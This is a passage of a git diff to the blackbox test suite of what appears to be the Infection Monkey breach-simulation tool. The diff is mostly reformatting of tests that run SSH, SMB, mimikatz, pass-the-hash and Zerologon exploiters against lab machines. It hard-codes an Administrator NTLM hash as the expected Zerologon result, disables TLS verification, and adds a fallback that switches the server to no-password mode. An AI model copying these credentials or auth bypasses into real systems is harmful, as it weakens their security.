'.') + dpath.util.set(config, path, value, ".") return config @staticmethod def get_ips_of_targets(raw_config): - return dpath.util.get(json.loads(raw_config), - "basic_network.scope.subnet_scan_list", - '.') + return dpath.util.get(json.loads(raw_config), "basic_network.scope.subnet_scan_list", ".") diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 304996ebd..5c5b57e09 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -8,9 +8,9 @@ from bson import json_util from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5 -MONKEY_TEST_ENDPOINT = 'api/test/monkey' -TELEMETRY_TEST_ENDPOINT = 'api/test/telemetry' -LOG_TEST_ENDPOINT = 'api/test/log' +MONKEY_TEST_ENDPOINT = "api/test/monkey" +TELEMETRY_TEST_ENDPOINT = "api/test/telemetry" +LOG_TEST_ENDPOINT = "api/test/log" LOGGER = logging.getLogger(__name__) @@ -44,7 +44,7 @@ class MonkeyIslandClient(object): @staticmethod def monkey_ran_successfully(response): - return response.ok and json.loads(response.content)['is_running'] + return response.ok and json.loads(response.content)["is_running"] @avoid_race_condition def kill_all_monkeys(self): @@ -62,40 +62,48 @@ class MonkeyIslandClient(object): LOGGER.error("Failed to reset the environment.") assert False + @avoid_race_condition + def set_scenario(self, scenario): + self.requests.post_json("api/island-mode", {"mode": scenario}) + def find_monkeys_in_db(self, query): if query is None: raise TypeError - response = self.requests.get(MONKEY_TEST_ENDPOINT, - MonkeyIslandClient.form_find_query_for_request(query)) + response = self.requests.get( + MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query) + ) return MonkeyIslandClient.get_test_query_results(response) def find_telems_in_db(self, query: dict): if query is None: raise TypeError - response = self.requests.get(TELEMETRY_TEST_ENDPOINT, - MonkeyIslandClient.form_find_query_for_request(query)) + response = self.requests.get( + TELEMETRY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query) + ) return MonkeyIslandClient.get_test_query_results(response) def get_all_monkeys_from_db(self): - response = self.requests.get(MONKEY_TEST_ENDPOINT, - MonkeyIslandClient.form_find_query_for_request(None)) + response = self.requests.get( + MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None) + ) return MonkeyIslandClient.get_test_query_results(response) def find_log_in_db(self, query): - response = self.requests.get(LOG_TEST_ENDPOINT, - MonkeyIslandClient.form_find_query_for_request(query)) + response = self.requests.get( + LOG_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query) + ) return MonkeyIslandClient.get_test_query_results(response) @staticmethod def form_find_query_for_request(query: Union[dict, None]) -> dict: - return {'find_query': json_util.dumps(query)} + return {"find_query": json_util.dumps(query)} @staticmethod def get_test_query_results(response): - return json.loads(response.content)['results'] + return json.loads(response.content)["results"] def is_all_monkeys_dead(self): - query = {'dead': False} + query = {"dead": False} return len(self.find_monkeys_in_db(query)) == 0 def clear_caches(self): diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 226a0043c..8e8392b9e 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -8,20 +8,25 @@ import requests from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' -NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ - '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557' +NO_AUTH_CREDS = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()" LOGGER = logging.getLogger(__name__) +class AuthenticationFailedError(Exception): + pass + + # noinspection PyArgumentList class MonkeyIslandRequests(object): def __init__(self, server_address): self.addr = "https://{IP}/".format(IP=server_address) self.token = self.try_get_jwt_from_server() - self.supported_request_methods = {SupportedRequestMethod.GET: self.get, - SupportedRequestMethod.POST: self.post, - SupportedRequestMethod.PATCH: self.patch, - SupportedRequestMethod.DELETE: self.delete} + self.supported_request_methods = { + SupportedRequestMethod.GET: self.get, + SupportedRequestMethod.POST: self.post, + SupportedRequestMethod.PATCH: self.patch, + SupportedRequestMethod.DELETE: self.delete, + } def get_request_time(self, url, method: SupportedRequestMethod, data=None): response = self.send_request_by_method(url, method, data) @@ -42,11 +47,32 @@ class MonkeyIslandRequests(object): def try_get_jwt_from_server(self): try: return self.get_jwt_from_server() + except AuthenticationFailedError: + self.try_set_island_to_no_password() + return self.get_jwt_from_server() except requests.ConnectionError as err: LOGGER.error( - "Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr)) + "Unable to connect to island, aborting! Error information: {}. Server: {}".format( + err, self.addr + ) + ) assert False + def get_jwt_from_server(self): + resp = requests.post( # noqa: DUO123 + self.addr + "api/auth", + json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, + verify=False, + ) + if resp.status_code == 401: + raise AuthenticationFailedError + return resp.json()["access_token"] + + def try_set_island_to_no_password(self): + requests.patch( # noqa: DUO123 + self.addr + "api/environment", json={"server_config": "standard"}, verify=False + ) + class _Decorators: @classmethod def refresh_jwt_token(cls, request_function): @@ -58,46 +84,38 @@ class MonkeyIslandRequests(object): return request_function_wrapper - def get_jwt_from_server(self): - resp = requests.post(self.addr + "api/auth", # noqa: DUO123 - json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, - verify=False) - return resp.json()["access_token"] - @_Decorators.refresh_jwt_token def get(self, url, data=None): - return requests.get(self.addr + url, # noqa: DUO123 - headers=self.get_jwt_header(), - params=data, - verify=False) + return requests.get( # noqa: DUO123 + self.addr + url, + headers=self.get_jwt_header(), + params=data, + verify=False, + ) @_Decorators.refresh_jwt_token def post(self, url, data): - return requests.post(self.addr + url, # noqa: DUO123 - data=data, - headers=self.get_jwt_header(), - verify=False) + return requests.post( # noqa: DUO123 + self.addr + url, data=data, headers=self.get_jwt_header(), verify=False + ) @_Decorators.refresh_jwt_token def post_json(self, url, data: Dict): - return requests.post(self.addr + url, # noqa: DUO123 - json=data, - headers=self.get_jwt_header(), - verify=False) + return requests.post( # noqa: DUO123 + self.addr + url, json=data, headers=self.get_jwt_header(), verify=False + ) @_Decorators.refresh_jwt_token def patch(self, url, data: Dict): - return requests.patch(self.addr + url, # noqa: DUO123 - data=data, - headers=self.get_jwt_header(), - verify=False) + return requests.patch( # noqa: DUO123 + self.addr + url, data=data, headers=self.get_jwt_header(), verify=False + ) @_Decorators.refresh_jwt_token def delete(self, url): - return requests.delete( # noqa: DOU123 - self.addr + url, - headers=self.get_jwt_header(), - verify=False) + return requests.delete( # noqa: DUO123 + self.addr + url, headers=self.get_jwt_header(), verify=False + ) @_Decorators.refresh_jwt_token def get_jwt_header(self): diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py index b7f424a69..f49b199a1 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py @@ -12,16 +12,16 @@ class MonkeyLog(object): self.log_dir_path = log_dir_path def download_log(self, island_client): - log = island_client.find_log_in_db({'monkey_id': ObjectId(self.monkey['id'])}) + log = island_client.find_log_in_db({"monkey_id": ObjectId(self.monkey["id"])}) if not log: - LOGGER.error("Log for monkey {} not found".format(self.monkey['ip_addresses'][0])) + LOGGER.error("Log for monkey {} not found".format(self.monkey["ip_addresses"][0])) return False else: self.write_log_to_file(log) return True def write_log_to_file(self, log): - with open(self.get_log_path_for_monkey(self.monkey), 'w') as log_file: + with open(self.get_log_path_for_monkey(self.monkey), "w") as log_file: log_file.write(MonkeyLog.parse_log(log)) @staticmethod @@ -32,7 +32,7 @@ class MonkeyLog(object): @staticmethod def get_filename_for_monkey_log(monkey): - return "{}.txt".format(monkey['ip_addresses'][0]) + return "{}.txt".format(monkey["ip_addresses"][0]) def get_log_path_for_monkey(self, monkey): return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey)) diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py index 44804a1fd..6a046a474 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py @@ -5,13 +5,12 @@ LOGGER = logging.getLogger(__name__) class MonkeyLogParser(object): - def __init__(self, log_path): self.log_path = log_path self.log_contents = self.read_log() def read_log(self): - with open(self.log_path, 'r') as log: + with open(self.log_path, "r") as log: return log.read() def print_errors(self): diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py index dbed46780..302da8fc7 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py @@ -6,7 +6,6 @@ LOGGER = logging.getLogger(__name__) class MonkeyLogsDownloader(object): - def __init__(self, island_client, log_dir_path): self.island_client = island_client self.log_dir_path = log_dir_path diff --git a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py index bae6a9adc..55a242bec 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py +++ b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py @@ -5,7 +5,7 @@ import shutil from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader -LOG_DIR_NAME = 'logs' +LOG_DIR_NAME = "logs" LOGGER = logging.getLogger(__name__) @@ -18,8 +18,10 @@ class TestLogsHandler(object): def parse_test_logs(self): log_paths = self.download_logs() if not log_paths: - LOGGER.error("No logs were downloaded. Maybe no monkeys were ran " - "or early exception prevented log download?") + LOGGER.error( + "No logs were downloaded. Maybe no monkeys were ran " + "or early exception prevented log download?" + ) return TestLogsHandler.parse_logs(log_paths) diff --git a/envs/monkey_zoo/blackbox/requirements.txt b/envs/monkey_zoo/blackbox/requirements.txt deleted file mode 100644 index 0e6bd0ea3..000000000 --- a/envs/monkey_zoo/blackbox/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -pytest -unittest diff --git a/envs/monkey_zoo/blackbox/start_all_gcp_machines.py b/envs/monkey_zoo/blackbox/start_all_gcp_machines.py new file mode 100755 index 000000000..f31a072f9 --- /dev/null +++ b/envs/monkey_zoo/blackbox/start_all_gcp_machines.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python3 + +from gcp_test_machine_list import GCP_TEST_MACHINE_LIST +from utils.gcp_machine_handlers import GCPHandler + +gcp_handler = GCPHandler() +gcp_handler.start_machines(" ".join(GCP_TEST_MACHINE_LIST)) diff --git a/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py b/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py new file mode 100755 index 000000000..132191e94 --- /dev/null +++ b/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python3 + +from gcp_test_machine_list import GCP_TEST_MACHINE_LIST +from utils.gcp_machine_handlers import GCPHandler + +gcp_handler = GCPHandler() +gcp_handler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST)) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index bfcf32fba..5cd67d7ec 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -5,13 +5,8 @@ from time import sleep import pytest from typing_extensions import Type -from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import \ - CommunicationAnalyzer +from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer -from envs.monkey_zoo.blackbox.island_client.island_config_parser import \ - IslandConfigParser -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ - MonkeyIslandClient from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic @@ -28,37 +23,41 @@ from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon -from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import \ - TestLogsHandler +from envs.monkey_zoo.blackbox.gcp_test_machine_list import GCP_TEST_MACHINE_LIST +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.map_generation import \ - MapGenerationTest -from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import \ - MapGenerationFromTelemetryTest -from envs.monkey_zoo.blackbox.tests.performance.report_generation import \ - ReportGenerationTest -from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import \ - ReportGenerationFromTelemetryTest -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import \ - TelemetryPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import ( + MapGenerationFromTelemetryTest, +) +from envs.monkey_zoo.blackbox.tests.performance.report_generation import ReportGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import ( + ReportGenerationFromTelemetryTest, +) +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import ( + TelemetryPerformanceTest, +) from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum -DEFAULT_TIMEOUT_SECONDS = 5*60 +DEFAULT_TIMEOUT_SECONDS = 5 * 60 MACHINE_BOOTUP_WAIT_SECONDS = 30 -GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16', - 'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10', - 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8', 'zerologon-25', - 'drupal-28'] LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) LOGGER = logging.getLogger(__name__) -@pytest.fixture(autouse=True, scope='session') +@pytest.fixture(autouse=True, scope="session") def GCPHandler(request, no_gcp): if not no_gcp: - GCPHandler = gcp_machine_handlers.GCPHandler() - GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST)) + try: + GCPHandler = gcp_machine_handlers.GCPHandler() + GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST)) + except Exception as e: + LOGGER.error("GCP Handler failed to initialize: %s." % e) + pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.") wait_machine_bootup() def fin(): @@ -67,7 +66,7 @@ def GCPHandler(request, no_gcp): request.addfinalizer(fin) -@pytest.fixture(autouse=True, scope='session') +@pytest.fixture(autouse=True, scope="session") def delete_logs(): LOGGER.info("Deleting monkey logs before new tests.") TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path()) @@ -77,57 +76,77 @@ def wait_machine_bootup(): sleep(MACHINE_BOOTUP_WAIT_SECONDS) -@pytest.fixture(scope='class') +@pytest.fixture(scope="class") def island_client(island, quick_performance_tests): - island_client_object = MonkeyIslandClient(island) + client_established = False + try: + island_client_object = MonkeyIslandClient(island) + client_established = island_client_object.get_api_status() + except Exception: + logging.exception("Got an exception while trying to establish connection to the Island.") + finally: + if not client_established: + pytest.exit("BB tests couldn't establish communication to the island.") if not quick_performance_tests: island_client_object.reset_env() + island_client_object.set_scenario(IslandModeEnum.ADVANCED.value) yield island_client_object -@pytest.mark.usefixtures('island_client') +@pytest.mark.usefixtures("island_client") # noinspection PyUnresolvedReferences class TestMonkeyBlackbox: - @staticmethod - def run_exploitation_test(island_client: MonkeyIslandClient, - config_template: Type[ConfigTemplate], - test_name: str, - timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS): + def run_exploitation_test( + island_client: MonkeyIslandClient, + config_template: Type[ConfigTemplate], + test_name: str, + timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS, + ): raw_config = IslandConfigParser.get_raw_config(config_template, island_client) - analyzer = CommunicationAnalyzer(island_client, - IslandConfigParser.get_ips_of_targets(raw_config)) - log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) + analyzer = CommunicationAnalyzer( + island_client, IslandConfigParser.get_ips_of_targets(raw_config) + ) + log_handler = TestLogsHandler( + test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) ExploitationTest( name=test_name, island_client=island_client, raw_config=raw_config, analyzers=[analyzer], timeout=timeout_in_seconds, - log_handler=log_handler).run() + log_handler=log_handler, + ).run() @staticmethod - def run_performance_test(performance_test_class, island_client, - config_template, timeout_in_seconds, break_on_timeout=False): + def run_performance_test( + performance_test_class, + island_client, + config_template, + timeout_in_seconds, + break_on_timeout=False, + ): raw_config = IslandConfigParser.get_raw_config(config_template, island_client) - log_handler = TestLogsHandler(performance_test_class.TEST_NAME, - island_client, - TestMonkeyBlackbox.get_log_dir_path()) - analyzers = [CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config))] - performance_test_class(island_client=island_client, - raw_config=raw_config, - analyzers=analyzers, - timeout=timeout_in_seconds, - log_handler=log_handler, - break_on_timeout=break_on_timeout).run() + log_handler = TestLogsHandler( + performance_test_class.TEST_NAME, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) + analyzers = [ + CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config)) + ] + performance_test_class( + island_client=island_client, + raw_config=raw_config, + analyzers=analyzers, + timeout=timeout_in_seconds, + log_handler=log_handler, + break_on_timeout=break_on_timeout, + ).run() @staticmethod def get_log_dir_path(): return os.path.abspath(LOG_DIR_PATH) - def test_server_online(self, island_client): - assert island_client.get_api_status() is not None - def test_ssh_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Ssh, "SSH_exploiter_and_keys") @@ -138,7 +157,9 @@ class TestMonkeyBlackbox: TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter") def test_smb_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, SmbMimikatz, "SMB_exploiter_mimikatz") + TestMonkeyBlackbox.run_exploitation_test( + island_client, SmbMimikatz, "SMB_exploiter_mimikatz" + ) def test_smb_pth(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") @@ -150,7 +171,7 @@ class TestMonkeyBlackbox: TestMonkeyBlackbox.run_exploitation_test(island_client, Elastic, "Elastic_exploiter") def test_struts_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Strtuts2_exploiter") + TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Struts2_exploiter") def test_weblogic_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") @@ -159,31 +180,42 @@ class TestMonkeyBlackbox: TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter") def test_tunneling(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Tunneling, "Tunneling_exploiter", 15 * 60) + TestMonkeyBlackbox.run_exploitation_test( + island_client, Tunneling, "Tunneling_exploiter", 15 * 60 + ) def test_wmi_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, WmiMimikatz, "WMI_exploiter,_mimikatz") + TestMonkeyBlackbox.run_exploitation_test( + island_client, WmiMimikatz, "WMI_exploiter,_mimikatz" + ) def test_wmi_pth(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH") def test_zerologon_exploiter(self, island_client): test_name = "Zerologon_exploiter" - expected_creds = ["Administrator", - "aad3b435b51404eeaad3b435b51404ee", - "2864b62ea4496934a5d6e86f50b834a5"] + expected_creds = [ + "Administrator", + "aad3b435b51404eeaad3b435b51404ee", + "2864b62ea4496934a5d6e86f50b834a5", + ] raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client) analyzer = ZerologonAnalyzer(island_client, expected_creds) - log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) + log_handler = TestLogsHandler( + test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) ExploitationTest( name=test_name, island_client=island_client, raw_config=raw_config, analyzers=[analyzer], timeout=DEFAULT_TIMEOUT_SECONDS, - log_handler=log_handler).run() + log_handler=log_handler, + ).run() - @pytest.mark.skip(reason="Perfomance test that creates env from fake telemetries is faster, use that instead.") + @pytest.mark.skip( + reason="Perfomance test that creates env from fake telemetries is faster, use that instead." + ) def test_report_generation_performance(self, island_client, quick_performance_tests): """ This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test @@ -193,30 +225,35 @@ class TestMonkeyBlackbox: and the Timing one which checks how long the report took to execute """ if not quick_performance_tests: - TestMonkeyBlackbox.run_performance_test(ReportGenerationTest, - island_client, - Performance, - timeout_in_seconds=10*60) + TestMonkeyBlackbox.run_performance_test( + ReportGenerationTest, island_client, Performance, timeout_in_seconds=10 * 60 + ) else: LOGGER.error("This test doesn't support 'quick_performance_tests' option.") assert False - @pytest.mark.skip(reason="Perfomance test that creates env from fake telemetries is faster, use that instead.") + @pytest.mark.skip( + reason="Perfomance test that creates env from fake telemetries is faster, use that instead." + ) def test_map_generation_performance(self, island_client, quick_performance_tests): if not quick_performance_tests: - TestMonkeyBlackbox.run_performance_test(MapGenerationTest, - island_client, - "PERFORMANCE.conf", - timeout_in_seconds=10*60) + TestMonkeyBlackbox.run_performance_test( + MapGenerationTest, island_client, "PERFORMANCE.conf", timeout_in_seconds=10 * 60 + ) else: LOGGER.error("This test doesn't support 'quick_performance_tests' option.") assert False + @pytest.mark.run_performance_tests def test_report_generation_from_fake_telemetries(self, island_client, quick_performance_tests): ReportGenerationFromTelemetryTest(island_client, quick_performance_tests).run() + @pytest.mark.run_performance_tests def test_map_generation_from_fake_telemetries(self, island_client, quick_performance_tests): MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run() + @pytest.mark.run_performance_tests def test_telem_performance(self, island_client, quick_performance_tests): - TelemetryPerformanceTest(island_client, quick_performance_tests).test_telemetry_performance() + TelemetryPerformanceTest( + island_client, quick_performance_tests + ).test_telemetry_performance() diff --git a/envs/monkey_zoo/blackbox/tests/basic_test.py b/envs/monkey_zoo/blackbox/tests/basic_test.py index fa722ffb7..7bec9c873 100644 --- a/envs/monkey_zoo/blackbox/tests/basic_test.py +++ b/envs/monkey_zoo/blackbox/tests/basic_test.py @@ -2,7 +2,6 @@ import abc class BasicTest(abc.ABC): - @abc.abstractmethod def run(self): pass diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py index d6332bc75..ddc6bc9c2 100644 --- a/envs/monkey_zoo/blackbox/tests/exploitation.py +++ b/envs/monkey_zoo/blackbox/tests/exploitation.py @@ -6,14 +6,13 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60 -WAIT_TIME_BETWEEN_REQUESTS = 10 -TIME_FOR_MONKEY_PROCESS_TO_FINISH = 40 +WAIT_TIME_BETWEEN_REQUESTS = 5 +TIME_FOR_MONKEY_PROCESS_TO_FINISH = 10 DELAY_BETWEEN_ANALYSIS = 3 LOGGER = logging.getLogger(__name__) class ExploitationTest(BasicTest): - def __init__(self, name, island_client, raw_config, analyzers, timeout, log_handler): self.name = name self.island_client = island_client @@ -48,18 +47,25 @@ class ExploitationTest(BasicTest): self.log_success(timer) return sleep(DELAY_BETWEEN_ANALYSIS) - LOGGER.debug("Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken())) + LOGGER.debug( + "Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken()) + ) self.log_failure(timer) assert False def log_success(self, timer): LOGGER.info(self.get_analyzer_logs()) - LOGGER.info("{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken())) + LOGGER.info( + "{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken()) + ) def log_failure(self, timer): LOGGER.info(self.get_analyzer_logs()) - LOGGER.error("{} test failed because of timeout. Time taken: {:.1f} seconds.".format(self.name, - timer.get_time_taken())) + LOGGER.error( + "{} test failed because of timeout. Time taken: {:.1f} seconds.".format( + self.name, timer.get_time_taken() + ) + ) def all_analyzers_pass(self): analyzers_results = [analyzer.analyze_test_results() for analyzer in self.analyzers] @@ -73,7 +79,10 @@ class ExploitationTest(BasicTest): def wait_until_monkeys_die(self): time_passed = 0 - while not self.island_client.is_all_monkeys_dead() and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE: + while ( + not self.island_client.is_all_monkeys_dead() + and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE + ): sleep(WAIT_TIME_BETWEEN_REQUESTS) time_passed += WAIT_TIME_BETWEEN_REQUESTS LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed)) diff --git a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py index b8793452d..1e2345ecf 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py @@ -10,7 +10,6 @@ LOGGER = logging.getLogger(__name__) class EndpointPerformanceTest(BasicTest): - def __init__(self, name, test_config: PerformanceTestConfig, island_client: MonkeyIslandClient): self.name = name self.test_config = test_config @@ -21,8 +20,9 @@ class EndpointPerformanceTest(BasicTest): endpoint_timings = {} for endpoint in self.test_config.endpoints_to_test: self.island_client.clear_caches() - endpoint_timings[endpoint] = self.island_client.requests.get_request_time(endpoint, - SupportedRequestMethod.GET) + endpoint_timings[endpoint] = self.island_client.requests.get_request_time( + endpoint, SupportedRequestMethod.GET + ) analyzer = PerformanceAnalyzer(self.test_config, endpoint_timings) return analyzer.analyze_test_results() diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py index 42d2265e7..f925f031d 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py +++ b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py @@ -3,7 +3,9 @@ from datetime import timedelta from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import ( + PerformanceTestWorkflow, +) MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -17,18 +19,22 @@ class MapGenerationTest(PerformanceTest): TEST_NAME = "Map generation performance test" - def __init__(self, island_client, raw_config, analyzers, - timeout, log_handler, break_on_timeout): + def __init__( + self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout + ): self.island_client = island_client - exploitation_test = ExploitationTest(MapGenerationTest.TEST_NAME, island_client, - raw_config, analyzers, timeout, log_handler) - performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, - max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, - endpoints_to_test=MAP_RESOURCES, - break_on_timeout=break_on_timeout) - self.performance_test_workflow = PerformanceTestWorkflow(MapGenerationTest.TEST_NAME, - exploitation_test, - performance_config) + exploitation_test = ExploitationTest( + MapGenerationTest.TEST_NAME, island_client, raw_config, analyzers, timeout, log_handler + ) + performance_config = PerformanceTestConfig( + max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, + max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, + endpoints_to_test=MAP_RESOURCES, + break_on_timeout=break_on_timeout, + ) + self.performance_test_workflow = PerformanceTestWorkflow( + MapGenerationTest.TEST_NAME, exploitation_test, performance_config + ) def run(self): self.performance_test_workflow.run() diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py index 1b31a8962..8713d3c0f 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py +++ 